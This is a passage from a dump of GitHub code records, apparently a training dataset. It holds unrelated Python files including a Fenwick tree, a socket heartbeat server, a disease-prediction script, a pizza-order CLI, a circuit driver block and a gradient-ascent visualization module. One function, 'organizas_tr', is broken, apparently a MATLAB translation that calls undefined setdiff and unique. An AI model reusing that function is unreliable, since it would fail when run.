\"/\" + name, encoding='utf-8') as file_obj:\n contents = file_obj.read()\n result = contents.rstrip()\n break\n return result\n\n","repo_name":"bfdesm/PriavteWebsite","sub_path":"RouteHandler.py","file_name":"RouteHandler.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"4022137187","text":"\"\"\"Implementation of a Fenwick/binary indexed tree.\n\nBased on presentation in the following paper:\nhttps://doi.org/10.1002%2Fspe.4380240306\n\"\"\"\n\nfrom collections.abc import Iterable\nfrom typing import TypeVar, Generic\n\nT = TypeVar('T')\n\n# TODO: allow arbitrary associative operations\n# TODO: specialize for floats: store exact values and use math.fsum\n# TODO: dynamic length\n\n\nclass FenwickTree(Generic[T]):\n \"\"\"Data structure for fast prefix sums and updates on lists of numbers.\"\"\"\n\n __slots__ = ('_data', )\n\n def __init__(self, iterable: Iterable[T]):\n \"\"\"Construct a fenwick tree representing the given sequence.\n\n Complexity: O(n lg n)\n \"\"\"\n values = list(iterable)\n self._data = [values[0]]\n for i in range(1, len(values)):\n self._data.append(sum(values[(i & (i - 1)) + 1:i + 1]))\n\n def prefix_sum(self, k: int) -> T:\n \"\"\"Return the sum of the first k values.\n\n Complexity: O(lg n)\n \"\"\"\n if k == 0:\n return 0\n\n result = self._data[0]\n idx = k - 1\n while idx:\n result += self._data[idx]\n idx &= idx - 1\n return result\n\n def range_sum(self, start: int, stop: int) -> T:\n \"\"\"Return the sum of the given range of values.\n\n Includes the value at index start, but not the value at index stop.\n\n Complexity: O(lg n)\n \"\"\"\n if start == 0:\n return self.prefix_sum(stop)\n\n result = 0\n idx = stop - 1\n while idx >= start:\n result += self._data[idx]\n idx &= idx - 1\n\n parent = idx\n idx = start - 1\n while idx > parent:\n result -= self._data[idx]\n idx &= idx - 1\n\n return result\n\n def update(self, idx: int, value: T, absolute: bool = False) -> None:\n \"\"\"Update the value at index idx.\n\n The given value is added to the current value at the given index.\n To assign a new value instead, use absolute=True.\n\n Complexity: O(lg n)\n \"\"\"\n if absolute:\n value -= self[idx]\n\n if idx == 0:\n self._data[0] += value\n return\n\n while idx < len(self._data):\n self._data[idx] += value\n idx += idx & -idx\n\n def __getitem__(self, idx: int) -> T:\n if idx < 0:\n idx += len(self)\n\n result = self._data[idx]\n if idx:\n parent = idx & (idx - 1)\n idx -= 1\n while idx != parent:\n result -= self._data[idx]\n idx &= idx - 1\n return result\n\n def __setitem__(self, idx: int, value: T) -> None:\n if idx < 0:\n idx += len(self)\n self.update(idx, value, True)\n\n def __len__(self) -> int:\n return len(self._data)\n","repo_name":"jkerkhoff/python_algorithms_and_data_structures","sub_path":"src/data_structures/fenwick_tree.py","file_name":"fenwick_tree.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20203245681","text":"from setuptools import find_packages, setup\n\nMAIN_REQUIREMENTS = [\"airbyte-cdk\", \"PyJWT\", \"cryptography\", \"requests\"]\n\nTEST_REQUIREMENTS = [\n \"pytest~=6.1\",\n \"requests-mock\",\n \"pytest-mock\",\n \"freezegun\",\n]\n\nsetup(\n name=\"source_google_analytics_v4\",\n description=\"Source implementation for Google Analytics V4.\",\n author=\"Airbyte\",\n author_email=\"contact@airbyte.io\",\n packages=find_packages(),\n install_requires=MAIN_REQUIREMENTS,\n package_data={\"\": [\"*.json\", \"schemas/*.json\", \"schemas/shared/*.json\"]},\n extras_require={\n \"tests\": TEST_REQUIREMENTS,\n },\n)\n","repo_name":"airbytehq/airbyte","sub_path":"airbyte-integrations/connectors/source-google-analytics-v4/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","stars":12323,"dataset":"github-code","pt":"35"} +{"seq_id":"3816188098","text":"import os\nimport matplotlib\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef set_plot_labels(title: str=\"Graph Title\", x_label: str=\"X-Label\", y_label: str=\" Y-Label\"):\n # Plot Title\n plt.title(title)\n\n # Label X-axis and Y-axis\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n \n return \n\n\ndef main():\n set_plot_labels(\"Main Graph\", \"X\", \"Y\")\n\n inputs = np.linspace(0, 40, 100)\n f = lambda x: x**x\n outputs = [f(a) for a in inputs]\n\n plt.plot(inputs, outputs, color='blue', label=\"main function\")\n\n plt.legend()\n plt.show()\n\n\n for _ in range(len(inputs)):\n print(f\"{inputs[_]} -> {outputs[_]}\")\n return\n\nif __name__ == '__main__':\n main()\n","repo_name":"rickyg365/python","sub_path":"archive/coord/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"6058905659","text":"from multiprocessing.connection import Listener\nimport threading\nimport os\nimport time\n\naddress = \"/tmp/socket_test.s\"\n\ntry:\n os.unlink(address)\nexcept OSError:\n if os.path.exists(address):\n raise\n\n\ndef heartbeat(conn, timer):\n try:\n while True:\n print(\"...sending heartbeat\")\n conn.send(\"hello from server\")\n time.sleep(timer)\n except Exception as e:\n print(\"Got exception...\")\n print(e)\n print(\"...closing connection\")\n conn.close()\n\n\nlistener = Listener(address)\ntry:\n\n print(\"Start listening for connections\")\n while True:\n conn = listener.accept()\n print(\"Accepted new connection...\")\n timer = int(conn.recv())\n threading.Thread(target=heartbeat, args=(conn, timer)).start()\n\nexcept KeyboardInterrupt:\n listener.close()\n print(\"Done\")\n","repo_name":"iVariable/pi","sub_path":"python-playground/interprocess-communication/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15972139420","text":"\"\"\"\nTests the current status of the GitHub API tokens;\ni.e., how many requests they can make in total and \nhow many they have left.\n\"\"\"\n\nimport dotenv\nfrom os import getenv\nimport requests\nimport json\n\n\ndef test_progress():\n dotenv.load_dotenv()\n\n all_gh_tokens = [getenv(f\"GITHUB_TOKEN_{i}\") for i in range(1, 21)]\n\n for index, token in enumerate(all_gh_tokens, start=1):\n url = \"https://api.github.com/rate_limit\"\n headers = {\n \"Accept\": \"application/vnd.github+json\",\n \"Authorization\": f'Bearer {token}',\n \"X-GitHub-Api-Version\": \"2022-11-28\"\n }\n\n response = requests.get(url, headers=headers)\n j_response = json.loads(response.text)\n try:\n rate = j_response[\"rate\"]\n\n print(\n f'Token {index}: used {rate[\"used\"]} of {rate[\"limit\"]} requests.')\n except KeyError:\n print(f\"Token {index} is invalid.\")\n\nif __name__ == \"__main__\":\n test_progress()\n","repo_name":"wmeijer221/msc_thesis","sub_path":"python_proj/helpers/test_rate_limit.py","file_name":"test_rate_limit.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"17399308157","text":"import pandas as pd\r\nimport seaborn as sns\r\nimport matplotlib.pyplot as plt\r\n\r\nfrom sklearn.metrics import accuracy_score #works\r\n\r\nfrom sklearn.naive_bayes import MultinomialNB\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.tree import DecisionTreeClassifier, export_graphviz\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nimport random\r\n#from random import seed\r\n#from random import randint\r\n# seed random number generator\r\n\r\n\r\ndata = pd.read_csv(\"Training.csv\")\r\n#data.head()\r\n#data.columns\r\n#len(data.columns)\r\n#len(data['prognosis'].unique())\r\ndf = pd.DataFrame(data)\r\n#df.head()\r\n#len(df)\r\ncols = df.columns\r\ncols = cols[:-1]\r\n#cols\r\n#len(cols)\r\nx = df[cols]\r\ny = df['prognosis']\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=42)\r\n\r\nmnb = MultinomialNB()\r\nmnb = mnb.fit(x_train, y_train)\r\nmnb.score(x_test, y_test)\r\n\r\n'''print (\"cross result========\")\r\nscores = cross_validation.cross_val_score(mnb, x_test, y_test, cv=3)\r\nprint (scores)\r\nprint (scores.mean())'''\r\ntest_data = pd.read_csv(\"Testing.csv\")\r\n#test_data.head()\r\ntestx = test_data[cols]\r\ntesty = test_data['prognosis']\r\nmnb.score(testx, testy)\r\n#dt.__getstate__()\r\ndt = DecisionTreeClassifier(criterion = \"entropy\", random_state = 42)\r\ndt=dt.fit(x_train,y_train)\r\n\r\nimportances = dt.feature_importances_\r\nindices = np.argsort(importances)[::-1]\r\nfeatures = cols\r\nfor f in range(10):\r\n print(\"%d. feature %d - %s (%f)\" % (f + 1, indices[f], features[indices[f]] ,importances[indices[f]]))\r\n\r\nfeature_dict = {}\r\nfor i,f in enumerate(features):\r\n feature_dict[f] = i\r\n#feature_dict['redness_of_eyes']\r\n\r\nr = random.randrange(0,len(testx)+1,1)\r\nprint(r+2)\r\nsample_x = testx.iloc[r,:].values\r\n\r\n#print(testy.iloc[r,1])\r\n\r\n#sample_x = [i/52 if i ==52 else 1 for i in range(len(features))]\r\n#print(len(sample_x))\r\nsample_x = np.array(sample_x).reshape(1,len(sample_x))\r\n#print(sample_x)\r\n\r\n#print(dt.predict(sample_x))\r\nypred = dt.predict(sample_x)\r\nprint(ypred)\r\n#print(dt.predict_proba(sample_x))\r\n#print(accuracy_score(testy.iloc[r,:],ypred)*100)\r\nd = pd.read_csv(\"doc.csv\")\r\n\r\na = d.iloc[0:41,0].values\r\n#print(a)\r\nb = d.iloc[0:41,1].values\r\nc = d.iloc[0:41,2].values\r\nfor i in range(0,41):\r\n\t#print(ypred)\r\n\t#print(a[0]==ypred)\r\n\tif a[i] == ypred:\r\n\t\tprint(\"Consult the doctor : \",b[i])\r\n\t\tprint(\"Link : \",c[i])","repo_name":"alien-from-jupiter/AI-Project","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"20903447387","text":"from flask import Flask, request, Response, Blueprint\n\nimport json\nimport os\nimport requests\nfrom requests.exceptions import HTTPError\nfrom .forecasts.jakarta import jakarta\nfrom .forecasts.united_kingdom import united_kingdom\n\nforecast_app = Blueprint('forecast_app', __name__)\n\n\n@forecast_app.route(\"/\")\ndef forecast():\n latitude = request.args.get('latitude')\n longitude = request.args.get('longitude')\n url = f'https://revgeocode.search.hereapi.com/v1/revgeocode?at={latitude}%2C{longitude}&lang=en-US&apiKey={os.getenv(\"HERE_APIKEY\")}'\n\n try:\n response = requests.get(url)\n response.raise_for_status()\n items = response.json()['items']\n if items:\n address = items[0]['address']\n countryCode = address['countryCode']\n state = address['state']\n county = address['county']\n if countryCode == 'IDN' and state == 'JABODETABEK':\n return jakarta(latitude, longitude)\n elif countryCode == 'GBR':\n return united_kingdom(latitude, longitude)\n\n return Response({}, status=204)\n\n except HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\n return Response(\"Reverse geocode failed: \" + http_err, status=500)\n","repo_name":"ryanchuah/floodGuardian-ucl-submission","sub_path":"flood-guardian-server/routes/forecast.py","file_name":"forecast.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"3063536894","text":"#!/usr/bin/env python3\n\nimport os\nfrom datetime import datetime\n\n\nclass bcolors:\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n\n\ndef cat(filename):\n file = open(filename, 'r')\n content = file.read()\n print(bcolors.OKGREEN + '\\nLoading ' + filename)\n print(bcolors.WARNING + '\\n' + content + bcolors.ENDC)\n file.close()\n\n\ndef pizza():\n finish = 'no'\n name_and_price = {}\n\n while finish == 'no':\n print('\\nMenu Selections: ')\n print('1-Take: ')\n print('2-Status: ')\n print('3-Save: ')\n print('4-List: ')\n print('5-Load')\n print('6-Finish')\n\n choice = input('\\nEnter your selection: ')\n if choice == '1':\n name = input(bcolors.WARNING + '\\nPlease, enter name: ')\n price = input('Please, enter price: ')\n if name in name_and_price:\n name_and_price[name] += float(price)\n print(bcolors.OKBLUE + '\\nTaking order form {0} for {1}'.format(\n name, price) + bcolors.ENDC)\n else:\n name_and_price[name] = float(price)\n print(bcolors.OKBLUE + '\\nTaking order form {0} for {1}'.format(\n name, price) + bcolors.ENDC)\n\n elif choice == '2':\n print(bcolors.FAIL + '\\nUnsaved')\n for key in name_and_price.keys():\n print(bcolors.FAIL + '{0} - {1}'.format(\n key, name_and_price[key]) + bcolors.ENDC)\n\n elif choice == '3':\n time_now = datetime.now()\n stamp = time_now.strftime('%Y_%m_%d_%H_%M_%S')\n filename = 'orders_{0}'.format(stamp)\n orders_list = []\n for key in name_and_price.keys():\n orders_string = str(key) + ' - ' + str(name_and_price[key])\n orders_list.append(orders_string)\n file = open(filename, \"w\")\n contents = orders_list\n file.write(\"\\n\".join(contents))\n file.close()\n name_and_price = {}\n\n elif choice == '4':\n files = sorted([f for f in os.listdir('.') if f.startswith('orders_')])\n if len(files) == 0:\n print(bcolors.FAIL + \"\\nThere are no saved orders.\" + bcolors.ENDC)\n else:\n print(bcolors.OKGREEN + '\\nSaved orders:' + bcolors.ENDC)\n for index, order in enumerate(files):\n print(bcolors.OKBLUE + str([index + 1]) + ' - ' + order + bcolors.ENDC)\n\n elif choice == '5':\n if len(name_and_price) != 0:\n print('\\nYou have unsaved order.\\\n \\nIf you wish to discard the current order, type \"load\"')\n load_choice = input('Enter commmand: ')\n if load_choice == 'load':\n name_and_price = {}\n choosen_file = input('Choose file to open: ')\n cat(files[int(choosen_file)-1])\n else:\n choosen_file = input('Choose file to open: ')\n cat(files[int(choosen_file)-1])\n elif choice == '6':\n finish = 'yes'\n print('Thank you!')\n else:\n print(bcolors.WARNING + '\\nUnknown command!\\\n \\nTry one of the following:' + bcolors.ENDC)\n\n\ndef main():\n pizza()\n\nif __name__ == '__main__':\n main()\n","repo_name":"ivaylospasov/programming-101","sub_path":"week0/pizza.py","file_name":"pizza.py","file_ext":"py","file_size_in_byte":3451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15725574023","text":"import numpy as np\n \ndef organizas_tr(vectTR = None): \n classes = np.transpose(setdiff(unique(vectTR),0))\n nx,ny = vectTR.shape\n # vect_TR_3=zeros(nx,ny,classes);\n vect_TR_3 = np.zeros((nx,ny,np.amax(classes)))\n for valor in classes.reshape(-1):\n for i in np.arange(1,nx+1).reshape(-1):\n for j in np.arange(1,ny+1).reshape(-1):\n if vectTR(i,j) != valor:\n vect_TR_3[i,j,valor] = 0\n else:\n vect_TR_3[i,j,valor] = valor\n \n return vect_TR_3,classes","repo_name":"Zhuosd/Hyperspectrum_images_classification","sub_path":"none/svm/organizas.py","file_name":"organizas.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"35"} +{"seq_id":"5185597072","text":"n = int(input())\na = [int(i) for i in input().split()]\nok = 1\nfor i in range(1, n+1):\n if i in a:\n continue\n else:\n print(i)\n ok = 0\n break\nif ok == 1:\n print(n+1)\n","repo_name":"Gem0512/Python","sub_path":"CodePtit/so_nho_nhat_con_thieu.py","file_name":"so_nho_nhat_con_thieu.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23278932504","text":"from electronics_abstract_parts import *\nfrom .JlcPart import JlcPart\n\n\nclass Ucc27282_Device(InternalSubcircuit, JlcPart, FootprintBlock):\n def __init__(self):\n super().__init__()\n self.vss = self.Port(Ground(), [Common])\n self.vdd = self.Port(VoltageSink.from_gnd(\n self.vss,\n voltage_limits=(5.5, 16)*Volt, # recommended operating conditions\n current_draw=RangeExpr()\n ))\n\n input_model = DigitalSink.from_supply(\n self.vss, self.vdd,\n voltage_limit_abs=(-5, 20)*Volt,\n input_threshold_abs=(0.9, 2.4)*Volt\n )\n self.li = self.Port(input_model)\n self.hi = self.Port(input_model)\n\n self.lo = self.Port(DigitalSource.from_supply(\n self.vss, self.vdd,\n current_limits=(-3, 3)*Amp # peak pullup and pulldown current\n ))\n\n self.hs = self.Port(VoltageSink.from_gnd(\n self.vss,\n voltage_limits=(-8, 100) # looser negative rating possible with pulses\n ))\n self.hb = self.Port(VoltageSource(\n voltage_out=self.hs.link().voltage + self.vdd.link().voltage,\n ))\n self.ho = self.Port(DigitalSource.from_supply(\n self.hs, self.hb,\n current_limits=(-3, 3)*Amp # peak pullup and pulldown current\n ))\n\n # quiescent to operating, vdd and hb, plus output draw\n self.assign(self.vdd.current_draw,\n (0.3, 4.5)*mAmp + (0.2, 4)*mAmp + self.lo.link().current_drawn + self.ho.link().current_drawn)\n\n def contents(self):\n self.footprint(\n 'U', 'Package_SO:SOIC-8_3.9x4.9mm_P1.27mm',\n {\n '1': self.vdd,\n '2': self.hb,\n '3': self.ho,\n '4': self.hs,\n '5': self.hi,\n '6': self.li,\n '7': self.vss,\n '8': self.lo,\n },\n mfr='Texas Instruments', part='UCC27282DR',\n datasheet='https://www.ti.com/lit/ds/symlink/ucc27282-q1.pdf'\n )\n self.assign(self.lcsc_part, 'C2867844')\n self.assign(self.actual_basic_part, False)\n\n\nclass Ucc27282(HalfBridgeDriver):\n \"\"\"UCC27282 half-bridge driver supporting 100V offset, 5.5-16v input, internal boot diode,\n shoot through protect, no deadtime.\"\"\"\n def contents(self):\n super().contents()\n\n self.require(self.has_boot_diode)\n self.require(~self.high_pwr.is_connected()) # not supported\n\n self.ic = self.Block(Ucc27282_Device())\n self.connect(self.pwr, self.ic.vdd)\n self.connect(self.gnd, self.ic.vss)\n self.connect(self.low_in, self.ic.li)\n self.connect(self.high_in, self.ic.hi)\n self.connect(self.low_out, self.ic.lo)\n self.connect(self.high_gnd, self.ic.hs)\n self.connect(self.high_out, self.ic.ho)\n\n self.cap = self.Block(DecouplingCapacitor(0.1*uFarad(tol=0.2))).connected(self.gnd, self.pwr)\n self.boot_cap = self.Block(DecouplingCapacitor(0.1*uFarad(tol=0.2))).connected(self.ic.hs, self.ic.hb)\n","repo_name":"BerkeleyHCI/PolymorphicBlocks","sub_path":"electronics_lib/GateDriver_Ucc27282.py","file_name":"GateDriver_Ucc27282.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"35"} +{"seq_id":"17200597859","text":"'''\nThis module is built on flashtorch. (Misa Ogura (2019, September 26).\n MisaOgura/flashtorch: 0.1.1 (Version v0.1.1).\n Zenodo. http://doi.org/10.5281/zenodo.3461737)\n\nBesides filter visualization and deepdream, we also support layer visualization and logit visualization.\n'''\n\n\nimport torch\nimport torch.nn as nn\n\nimport matplotlib\nmatplotlib.use('TkAgg')\nimport matplotlib.pyplot as plt\n\nimport random\nimport warnings\nimport numpy as np\nfrom xdeep.utils import (load_image, apply_transforms, format_for_plotting, standardize_and_clip)\n\n\nclass GradientAscent(object):\n \"\"\"\n Provides an interface for activation maximization via gradient ascent.\n \"\"\"\n\n def __init__(self, model, img_size=224, lr=0.1, use_gpu=False):\n\n self.model = model\n self._img_size = img_size\n self._lr = lr\n self._use_gpu = use_gpu\n\n self.activation = None\n self.gradients = None\n\n self.handlers = []\n\n self.output = None\n\n def _filter_register_forward_hooks(self, layer, filter_idx):\n\n \"\"\"\n Save forward propagation output on target filter.\n \"\"\"\n\n def _record_activation(module, input_, output):\n self.activation = torch.mean(output[:,filter_idx,:,:])\n return layer.register_forward_hook(_record_activation)\n\n def _layer_register_forward_hooks(self, layer):\n \"\"\"\n Save forward propagation output on target layer.\n \"\"\"\n def _record_activation(module, input_, output):\n self.activation = torch.mean(output)\n return layer.register_forward_hook(_record_activation)\n\n def _logit_register_forward_hooks(self, layer, filter_idx):\n \"\"\"\n Save forward propagation output on target logit.\n \"\"\"\n def _record_activation(module, input_, output):\n self.activation = torch.mean(output[:, filter_idx])\n return layer.register_forward_hook(_record_activation)\n\n def _register_backward_hooks(self):\n \"\"\"\n Save backward propagation gradient w.r.t input.\n \"\"\"\n def _record_gradients(module, grad_in, grad_out):\n self.gradients = grad_in[0]\n\n for _, module in self.model.named_modules():\n if isinstance(module, nn.modules.conv.Conv2d) and module.in_channels == 3:\n return module.register_backward_hook(_record_gradients)\n\n def _validate_filter_idx(self, layer_num_filters, filter_idx):\n \"\"\"\n validate type and error of filter index\n \"\"\"\n if not np.issubdtype(type(filter_idx), np.integer):\n raise TypeError('Index must be integer.')\n elif (filter_idx < 0) or (filter_idx >= layer_num_filters):\n raise ValueError(f'Filter index must be between 0 and {layer_num_filters - 1}.')\n\n def optimize(self, layer, filter_idx=None, input_=None, num_iter=30):\n \"\"\"\n\n # Arguments:\n layer: torch.nn.modules. Target layer. Currently support for Conv.2D and Linear layer.\n filter_idx: int or list. The index of the target filter.\n input_: torch.Tensor. Optimized instance. Default to None.\n num_iter: int. The number of iteration for gradient ascent. Default to 30.\n\n # Returns:\n output (list of torch.Tensor): Optimized result at each iteration. With shape (num_iter, C, H, W).\n \"\"\"\n\n # input_ has to be specified in deepdream\n if input_ is None:\n input_ = np.uint8(np.random.uniform(150, 180, (self._img_size, self._img_size, 3)))\n input_ = apply_transforms(input_, size=self._img_size)\n elif type(input_) is str:\n input_ = apply_transforms(load_image(input_), self._img_size)\n\n if torch.cuda.is_available() and self._use_gpu:\n device = torch.device(\"cuda\")\n self.model = self.model.to(device)\n input_ = input_.to(device)\n\n # remove previous hooks\n while len(self.handlers) > 0:\n self.handlers.pop().remove()\n\n # if layer is fc\n if isinstance(layer, nn.modules.Linear):\n num_total_filters = layer.out_features\n self._validate_filter_idx(num_total_filters, filter_idx)\n\n # if logit is None, default to be index 0.\n if filter_idx is None:\n warnings.warn(UserWarning(\n f'The target logit is None. Default logit is set to index 0.'))\n filter_idx = 0\n\n # hook target layer\n self.handlers.append(self._logit_register_forward_hooks(layer, filter_idx))\n\n # if layer is conv\n elif isinstance(layer, nn.modules.conv.Conv2d):\n num_total_filters = layer.out_channels\n\n # if filter index is None, do layer visualization\n if filter_idx is None:\n self.handlers.append(self._layer_register_forward_hooks(layer))\n\n # if filter index is valid number or list, do filter visualization\n elif 'int' in str(type(filter_idx)) or type(filter_idx) == list:\n self._validate_filter_idx(num_total_filters, filter_idx)\n self.handlers.append(self._filter_register_forward_hooks(layer, filter_idx))\n\n # if else, raise error\n else:\n raise TypeError(\"filter_idx only can be valid int or non-empty list type!\")\n\n self.handlers.append(self._register_backward_hooks())\n\n self.gradients = torch.zeros(input_.shape)\n return self._ascent(input_, num_iter)\n\n def _ascent(self, input_, num_iter):\n \"\"\"\n optimize input_ via gradient ascent\n \"\"\"\n output = []\n for i in range(num_iter):\n self.model(input_)\n self.activation.backward()\n self.gradients /= (torch.sqrt(torch.mean(torch.mul(self.gradients, self.gradients))) + 1e-5)\n input_ = input_ + self.gradients * self._lr\n output.append(input_)\n return output\n\n def visualize(self, layer, filter_idxs=None, input_=None, lr=1., num_iter=30,\n num_subplots=4, figsize=(4, 4), title='Visualization Result',\n return_output=True, save_path=None):\n self._lr = lr\n\n if filter_idxs is None:\n self._visualize_filter(layer,\n filter_idxs,\n input_,\n num_iter=num_iter,\n figsize=figsize,\n title=title,\n save_path=save_path)\n\n elif type(filter_idxs) is int:\n self._visualize_filter(layer,\n filter_idxs,\n input_,\n num_iter=num_iter,\n figsize=figsize,\n title=title,\n save_path=save_path)\n\n elif type(filter_idxs) == list and len(filter_idxs) != 0:\n num_total_filters = layer.out_channels\n num_subplots = min(num_total_filters, num_subplots)\n filter_idxs = random.sample(filter_idxs, num_subplots)\n\n self._visualize_filters(layer,\n filter_idxs,\n input_,\n num_iter=num_iter,\n num_subplots=len(filter_idxs),\n title=title,\n save_path=save_path)\n\n else:\n raise TypeError(\"Invalid filter_idxs type!\")\n\n if return_output:\n return self.output\n\n def _visualize_filters(self, layer, filter_idxs, input_, num_iter, num_subplots, title, save_path=None):\n\n num_cols = 4\n num_rows = int(np.ceil(num_subplots / num_cols))\n\n fig = plt.figure(figsize=(16, num_rows * 5))\n plt.title(title)\n plt.axis('off')\n\n self.output = []\n\n for i, filter_idx in enumerate(filter_idxs):\n output = self.optimize(layer, filter_idx, input_, num_iter=num_iter)\n\n self.output.append(output)\n\n ax = fig.add_subplot(num_rows, num_cols, i + 1)\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_title(f'filter {filter_idx}')\n\n ax.imshow(format_for_plotting(standardize_and_clip(output[-1], saturation=0.15, brightness=0.7)))\n\n plt.subplots_adjust(wspace=0, hspace=0)\n\n if save_path is not None:\n plt.savefig(save_path)\n\n def _visualize_filter(self, layer, filter_idx, input_, num_iter, figsize, title, save_path=None):\n self.output = self.optimize(layer, filter_idx, input_, num_iter=num_iter)\n\n plt.figure(figsize=figsize)\n plt.axis('off')\n plt.title(title)\n\n plt.imshow(format_for_plotting(\n standardize_and_clip(self.output[-1],\n saturation=0.15,\n brightness=0.7)))\n\n if save_path is not None:\n plt.savefig(save_path)\n","repo_name":"datamllab/xdeep","sub_path":"xdeep/xglobal/methods/activation.py","file_name":"activation.py","file_ext":"py","file_size_in_byte":9229,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"35"} +{"seq_id":"24747946966","text":"import json\n\n\ndef test_exclude(run_line, load_api_fixtures, go_ep1_id, go_ep2_id):\n \"\"\"\n Submits two --exclude options on a transfer, confirms they show up\n in --dry-run output\n \"\"\"\n # put a submission ID and autoactivate response in place\n load_api_fixtures(\"get_submission_id.yaml\")\n load_api_fixtures(\"transfer_activate_success.yaml\")\n\n result = run_line(\n \"globus transfer -F json --dry-run -r \"\n \"--exclude *.txt --exclude *.pdf \"\n \"{}:/ {}:/\".format(go_ep1_id, go_ep1_id)\n )\n\n expected_filter_rules = [\n {\"DATA_TYPE\": \"filter_rule\", \"method\": \"exclude\", \"name\": \"*.txt\"},\n {\"DATA_TYPE\": \"filter_rule\", \"method\": \"exclude\", \"name\": \"*.pdf\"},\n ]\n\n json_output = json.loads(result.output)\n assert json_output[\"filter_rules\"] == expected_filter_rules\n\n\ndef test_exlude_recursive(run_line, load_api_fixtures, go_ep1_id, go_ep2_id):\n \"\"\"\n Confirms using --exclude on non recursive transfers raises errors\n \"\"\"\n # would be better if this could fail before we make any api calls, but\n # we want to build the transfer_data object before we parse batch input\n load_api_fixtures(\"get_submission_id.yaml\")\n result = run_line(\n \"globus transfer --exclude *.txt \" \"{}:/ {}:/\".format(go_ep1_id, go_ep1_id),\n assert_exit_code=2,\n )\n assert \"--exclude can only be used with --recursive transfers\" in result.stderr\n\n\ndef test_exlude_recursive_batch_stdin(\n run_line, load_api_fixtures, go_ep1_id, go_ep2_id\n):\n load_api_fixtures(\"get_submission_id.yaml\")\n result = run_line(\n \"globus transfer --exclude *.txt --batch - \"\n \"{}:/ {}:/\".format(go_ep1_id, go_ep1_id),\n stdin=\"abc /def\\n\",\n assert_exit_code=2,\n )\n assert \"--exclude can only be used with --recursive transfers\" in result.stderr\n\n\ndef test_exlude_recursive_batch_file(\n run_line, load_api_fixtures, go_ep1_id, go_ep2_id, tmp_path\n):\n load_api_fixtures(\"get_submission_id.yaml\")\n temp = tmp_path / \"batch\"\n temp.write_text(\"abc /def\\n\")\n result = run_line(\n [\n \"globus\",\n \"transfer\",\n \"--exclude\",\n \"*.txt\",\n \"--batch\",\n temp,\n f\"{go_ep1_id}:/\",\n f\"{go_ep1_id}:/\",\n ],\n assert_exit_code=2,\n )\n assert \"--exclude can only be used with --recursive transfers\" in result.stderr\n","repo_name":"sirosen/temp-cli-test","sub_path":"tests/functional/task/test_task_submit.py","file_name":"test_task_submit.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28776063293","text":"#!/usr/bin/env python3\r\n# coding: UTF-8\r\n\r\nimport threading\r\nimport datetime\r\nimport argparse\r\nimport pathlib\r\nimport logging\r\nimport hashlib\r\nimport signal\r\nimport codecs\r\nimport pickle\r\nimport zmq\r\nimport sys\r\n\r\nfrom uuid import uuid4\r\n\r\n# Configuration file management : eccoin.conf\r\n\r\nfrom configure import loadConfigurationECC\r\n\r\n# eccPacket & cryptoNode classes\r\n\r\nfrom eccpacket import eccPacket\r\nfrom cryptonode import cryptoNode, eccoinNode, cryptoNodeException\r\n\r\n################################################################################\r\n## RepeatTimer class ###########################################################\r\n################################################################################\r\n\r\nclass RepeatTimer(threading.Timer):\r\n\r\n def run(self):\r\n\r\n while not self.finished.wait(self.interval):\r\n\r\n self.function(*self.args, **self.kwargs)\r\n\r\n################################################################################\r\n## UsageTrack class ############################################################\r\n################################################################################\r\n\r\nclass UsageTrack:\r\n\r\n\tusageFilePath = 'net'\r\n\tusageFileName = 'taghashes.dat'\r\n\r\n\t############################################################################\r\n\r\n\tdef __init__(self):\r\n\r\n\t\tpathlib.Path(self.usageFilePath).mkdir(parents=True, exist_ok=True)\r\n\r\n\t\tself.filePath = pathlib.Path(self.usageFilePath) / self.usageFileName\r\n\r\n\t\tself.tagHashes = self.loadListFile(self.filePath)\r\n\r\n\t\tself.changed = False\r\n\r\n\t############################################################################\r\n\r\n\tdef start(self):\r\n\r\n\t\tself.buffer_timer = RepeatTimer(10, self.saveIfNecessary)\r\n\r\n\t\tself.buffer_timer.start()\r\n\r\n\t############################################################################\r\n\r\n\tdef 